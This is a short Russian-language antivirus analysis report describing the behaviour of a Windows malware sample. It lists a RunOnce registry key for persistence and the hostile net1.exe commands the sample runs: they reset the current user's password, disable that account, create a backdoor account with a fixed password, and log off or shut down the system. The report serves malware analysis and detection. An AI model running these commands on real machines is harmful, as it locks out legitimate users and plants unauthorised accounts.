Техническая информация
Для обеспечения автозапуска и распространения:
Модифицирует следующие ключи реестра:
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce] 'MicrosoftWindows' = '%PROGRAM_FILES%\1.bat'
Вредоносные функции:
Запускает на исполнение:
- '<SYSTEM32>\shutdown.exe' -l
- '<SYSTEM32>\logonui.exe' /status
- '<SYSTEM32>\net1.exe' localgroup %USERNAME%s јУQQ1802906733ЅвЛш /add
- '<SYSTEM32>\net1.exe' user %username% woshizhangchen
- '<SYSTEM32>\net1.exe' user %USERNAME% /active:no
- '<SYSTEM32>\net1.exe' user јУQQ1802906733ЅвЛш woshizhangchen /add
Пытается завершить работу операционной системы Windows.
Изменения в файловой системе:
Создает следующие файлы:
- %PROGRAM_FILES%\1.bat
Другое:
Ищет следующие окна:
- ClassName: 'Shell_TrayWnd' WindowName: '(null)'
- ClassName: 'StatusWindowClass' WindowName: '(null)'
